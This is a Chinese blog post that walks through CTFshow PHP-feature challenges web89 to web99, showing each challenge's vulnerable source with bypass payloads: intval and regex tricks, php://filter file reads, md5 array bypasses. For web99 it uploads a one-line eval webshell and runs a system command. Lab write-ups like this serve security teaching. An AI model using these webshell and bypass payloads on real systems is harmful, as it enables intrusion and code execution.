CTFshowPHP特性

已于 2024-12-06 08:47:33 修改
阅读量581 收藏 10
点赞数 9
分类专栏： CTFshow 文章标签： 网络安全 ctf web安全 网络 安全
于 2024-12-05 08:10:52 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/CLAY0011/article/details/144231445
版权

目录

web89

代码分析

playload

web90

代码分析

playload

web91

代码分析

playload

web92

代码分析

playload

web93

代码分析

playload

web94

代码分析

playload

web95

web96

代码分析

playload

web97

代码分析

playload

web98

代码分析

playload

web99

代码分析

playload

web89
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
代码分析
if(isset($_GET['num'])){   #检查参数是否为num，是则下一步
if(preg_match("/[0-9]/", $num)){
        die("no no no!");         #正则表达式是否包含数字0~9，如果包含则结束程序
if(intval($num)){  
    echo $flag;        #使用 intval 函数将 $num 转换为整数，如果转换后不为0则输出flag
playload

这题我们用数组绕过

?num[]=

web90
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
代码分析
if($num==="4476"){
        die("no no no!");     #如果字符串=4476就结束程序
if(intval($num,0)===4476){
        echo $flag;           #使用 intval 函数将 $num 转换为整数，如果转换后为4476则输出flag
playload

可以用进制绕过

?num=0x117c

也可以用intval函数进行绕过

intval("4476a") 会返回 4476，而 intval("a4476") 会返回 0。
因此，即使 num 参数包含非数字字符，只要这些字符后面跟着数字 4476，intval 仍然会返回 4476

所以构造

?num=4476a

web91
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
代码分析
$a=$_GET['cmd'];   #cmd 参数的值，赋值给变量 $a
if(preg_match('/^php$/im', $a)){  #使用preg_match函数检查 $a是否完全匹配字符串 php
'^php$'   #表示字符串必须从头到尾完全等于 php
im        #i 表示不区分大小写，m 表示多行模式
echo 'hacker';   #完全匹配字符串 php则输出hacker
if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
                    #如果 $a 完全匹配 php（不区分大小写），则输出 hacker，否则输出flag
else {
    echo 'nonononono';
}                         #如果 $a 不匹配 php，则输出 nonononono

playload

?cmd=%0aphp

web92
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
代码分析
    }else{
        echo intval($num,0);     #如果条件不为4476，则输出转换后的整数值
playload

用进制绕过

?num=0x117c

web93
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
代码分析
if(preg_match("/[a-z]/i", $num)){    #使用正则表达式检查 $num 是否包含任何字母（不区分大小写）
        die("no no no!");
    }                           #如果 $num 包含字母，程序将立即终止，并输出 "no no no!"。
playload

可以用8进制数绕过

?num=010574

web94
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
代码分析

与上题相比较，多了一个strpos函数

if(!strpos($num, "0")){
        die("no no no!");    #开头如果是数字0，则输出no no no!
playload

?num=+010574

可以用+来绕过

web95
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

同上

web96
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}
代码分析
if(isset($_GET['u'])){   #参数要为u
    if($_GET['u']=='flag.php'){
        die("no no no");    #如果参数u=flag.php则输出no no no
}else{
    highlight_file($_GET['u']); #如果参数u不等于flag.php，则highlight_file 函数高亮显示用户指定的文件内容。（报错）
playload

?u=php://filter/convert.base64-encode/resource=flag.php

直接用伪协议读取flag.php文件

?u=./flag.php

也可以绕过

web97
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
代码分析
if (isset($_POST['a']) and isset($_POST['b'])) {
               #检查是否存在名为 a 和 b 的 POST 参数，
if ($_POST['a'] != $_POST['b'])  #检查 a 和 b 的值是否不相等
if (md5($_POST['a']) === md5($_POST['b']))  #检查 a 和 b 的md5值是否相等
playload

post数组绕过

a[]=1&b[]=2

web98
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>
代码分析
$_GET?$_GET=&$_POST:'flag';   # 三元运算符，$_GET为真则执行$_GET=&$_POST，假则为flag
$_GET   $_GET['flag']   #数组
$_SERVER     #值为$_SERVER
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);  #如果get参数HTTP_FLAG的值为flag，就输出flag

$_GET 值为$_POST
如果$_GET 也就是$_POST['flag']=flag
$_GET = $_COOKIE
$_GET['flag'] = $_COOKIE['flag']
$_GET['flag'] = 'flag'

playload

get：?1=2 #这里似乎任何字符都可以

post：HTTP_FLAG=flag

web99
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>
代码分析
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}     #检查参数n是否存在，如果条件满足，
则使用 file_put_contents() 函数将 $_POST['content'] 的内容写入到文件 $_GET['n'] 中。

所以可以写入一句话木马

playload

get：?n=203.php

post：content=<?php @eval($_POST[1]);?>

1=system("tac flag36d.php");

ctfshowPHP特性
遇事不决冲冲冲
08-23 4562
web89 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 数组绕过正则表达式，也就是说我们不按规定去
ctfshow——PHP特性
qq_55202378的博客
01-03 1115
另外，intval()函数如果$base为0，则$var中存在字母的话遇到字母就停止读取，传入4476a会将后面的a丢弃，比较前面的.
CTFshow-php特性
weixin_44770698的博客
07-11 2388
CTFshow-php特性学习
[web安全学习] ctfshow-php特性总结
Y1seco的博客
07-30 1559
文章目录一. 常见php函数1. intval2. strpos3. is_numeric4. var_dump()5. call_user_func()函数5. parse_str6. strrev7.二. 常见绕过方法尝试添加加号+和空格进行绕过进制绕过采用伪协议绕过如：数组绕过三目运算符+变量覆盖PHP弱类型比较and与&&的区别+反射类ReflectionClass的使用绕过is_numericPHP变量覆盖ereg %00正则截断绕过正则FilesystemIterator类的使用
ctfshow php特性 web 89~150plus
shinygod的博客
03-07 796
目录web 92web 93web 94web 95web 96web 97web 98web 99web 100web 101web 102web 103web 104 web 92 num=0x117c intval($num,$base=0) //当base为0时，会自动检测num的进制 //例如：0x117c（16进制） == 4476（十进制） == 010574（8进制） web 93 在这里插入代码片 web 94 web 95 web 96 web 97 web 98 web 99 w
ctfshow-php特性-超详解(干货)
qq_50589021的博客
08-05 8102
PHP特性 web89 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } ?> intval函数(获
CTFSHOW PHP特性篇（上篇 89-110）
羽的博客
10-21 5912
web89 if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 考察点：数组绕过正则表达式 官方文档中如下介绍 返回值 返回完整匹配次数（可能是0），或者如果发生错误返回FALSE。 也就是说如果我们不按规定传一个字符串，
ctfshow---php特性
fainpo的博客
04-02 1611
使用此管道符“|”可以将两个命令分隔开，“|”左边命令的输出就会作为“|”右边命令的输入，此命令可连续使用，第一个命令的输出会作为第二个命令的输入，第二个命令的输出又会作为第三个命令的输入，依此类推。就是比如get传入a=1第一个foreach的$key就是a，$value就是1，利用die($error) 这里退出会输出$error，所以将flag的值赋值给他就能得到flag，当然第一个if不让，所以我们利用一个跳板。_()==gettext() 是gettext()的拓展函数，开启text扩展。
ctfshow-php特性系列
qq_45951598的博客
04-10 2227
文章目录WEB89-数组绕过WEB90-intval绕过WEB91-preg_match-换行绕过WEB92-科学计数法EWEb93WEB94WEB95WEB96WEB97-MD5绕过WEB98 WEB89-数组绕过 源码： include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8599
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
红队工具使用全解析：揭开网络安全神秘面纱一角
互联网环境恶劣，现在积极的想从事网络安全行业
01-12 426
红队成员们依据前期辛苦收集来的情报，优中选优，挑出适配的模块，再简单动动手指配置下参数，接下来，就看它大显身手。不管是架构简单的小型企业内网，还是错综复杂的大型服务器集群，Nessus 都能迅速给出一份详尽细致的 “体检报告”，让红队成员们仿若掌握了目标网络的 “生命密码”，为后续规划攻击路径提供精准到毫厘的依据，占得先机。在风云变幻的网络安全战场上，红队宛如一支神秘且精锐的特种兵部队，手持一系列超厉害的工具，冲锋陷阵在虚拟世界，挖掘系统潜藏漏洞，模拟实战攻击情境，为筑牢网络防线提供至关重要的情报支撑。
网络安全——常用语及linux系统
最新发布
2401_88755455的博客
01-15 508
Linux是开源的，unix是闭源的unix对硬件平台的兼容性比较小linux分支2、 linux的内核和发行版本内核：设备驱动、文件系统、进程管理、网络通信；内核版本号：Linux 内核名第一个组数字：3, 主版本号第二个组数字：10, 次版本号，当前为稳定版本第三个组数字：0, 修订版本号第四个组数字：514，表示发行版本的补丁版本el7：则表示正在使用的内核是 RedHat / CentOS 系列发行版专用内核（ Red Hat Enterprise Linux）
＜2025 网络安全＞《网络安全政策法规-关键信息基础设施安全保护条例》
Else 的博客
01-11 531
‌《关键信息基础设施安全保护条例》的实施背景主要包括以下几个方面‌：首先，‌关键信息基础设施在经济社会中的重要地位使其成为网络安全的核心保护对象‌。关键信息基础设施包括公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务、国防科技工业等重要行业和领域的网络设施和信息系统。这些设施一旦遭到破坏或数据泄露，可能严重危害国家安全、国计民生和公共利益‌。其次，‌当前关键信息基础设施面临的网络安全形势日趋严峻‌。
通信与网络安全管理之ISO七层模型与TCP/IP模型
Hacker_Fuchen的博客
01-11 1100
前缀FC00::/7，相当于IPv4的私网地址（10.0.0.0、172.16.0.0、192.168.0.0），在RFC4193中新定义的一种解决私网需求的单播地址类型，用来代替废弃使用的站点本地地址。在Linux内核3.7版本开始加入对IPv6 NAT的支持，实现的方式和IPv4下的差别不大。就是在IPv6的某一些十六进制段内嵌这IPv4的地址，例如IPv6地址中64:ff9b::10.10.10.10，此IPv6地址最后4个字节内嵌一个IPv4的地址，这类地址主要用于IPv6/IPv4的过渡技术中。
网络安全离我们不远！
noob1561的博客
01-11 530
昨天晚上有朋友将公网上的一台 redis 密码设置为 123456，并且觉得没什么影响，再结合我之前毕业设计时被删库勒索，以及工作中碰到的网络安全相关的事情，就有了本篇感想，网络安全离我们并不远！
2025 年三个月自学计划 网络安全（黑客技术）
HackKong的博客
01-15 566
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“[渗透测试](https://docs.qq.com/doc/DY2FFR01PdWNUaUV5 "渗透测试")” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web [安全技术](https://docs.qq.com/doc/DY2FFR01PdWNUaUV5 "安全技术")，既有 Web 渗透，也有 Web 防御技术（WAF）。
思科—网络安全笔记
2401_88751384的博客
01-15 528
间谍软件：跟踪侦察用户，例如记录键盘，数据捕获等 僵尸软件：构成僵尸网络，为攻击者提供资源 广告程序：投放广告 勒索程序：强制用户解密本机数据，达到勒索的目的 假冒安全软件：通过假官方的提示，欺骗用户安装没必要安装的程序或指令 rootkit:专用于修改系统达到植入后门的目的，大多数rootkit利用软件漏洞，提上自身权限，修改系统设置和检测工具 病毒：附加到软件当中的，随着程序一起运行 特洛伊木马：通常隐藏在图片，游戏，音频中。无论系统感染了哪种恶意软件，以下是共有的恶意软件症状： CPU 使用率上升。
网络安全（黑客）——自学2024
2401_85026883的博客
01-13 657
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。走安全行业的工程方向的，技术上面其实有很大的重叠性，抛开甲乙方、岗位名称、岗位职责等因素来看，作为学技术的，也根据以往我们给学员推荐就业和入职情况来看，只要好好掌握以下几种技术（网络协议与安全设备、Linux操作系统、Web服务部署/开发、主流渗透测试/安全工具、一门及以上的编程语言）中的2到3个，都可以较好的胜任工作需求。
suricata.yaml （一款高性能的网络IDS、IPS和网络安全监控引擎）默认配置文件（图文详解）
2401_88750741的博客
01-13 742
YAML 1.1---######$HOME_NET"80"############stats:outputs:- fast:- eve-log:#redis:types:- alert:xff:- http:- dns- tls:- files:#- drop:- smtp:# to yes- ssh- stats:- flow#- netflowxff:- tls-log:
如何用3个月零基础入门网络安全？_网络安全零基础怎么学习
2401_84466224的博客
01-15 694
我们知道计算机最早是在西方发明出来的，很多名词或者代码都是英文的，甚至现有的一些教程最初也是英文原版翻译过来的，而且一个漏洞被发现到翻译成中文一般需要一个星期的时间，在这个时间差上漏洞可能都修补了。”答案是否定的，黑客用的电脑,不需要什么高的配置,只要稳定就行.因为黑客所使用的一些程序,低端CPU也可以很好的运行,而且不占什么内存.还有一个,黑客是在DOS命令下对进行的,所以电脑能使用到最佳状态!观看学习近十年所有0day挖掘的帖，然后搭建环境，去复现漏洞，去思考学习笔者的挖洞思维，培养自己的渗透思维。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

.WTT001.

好

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值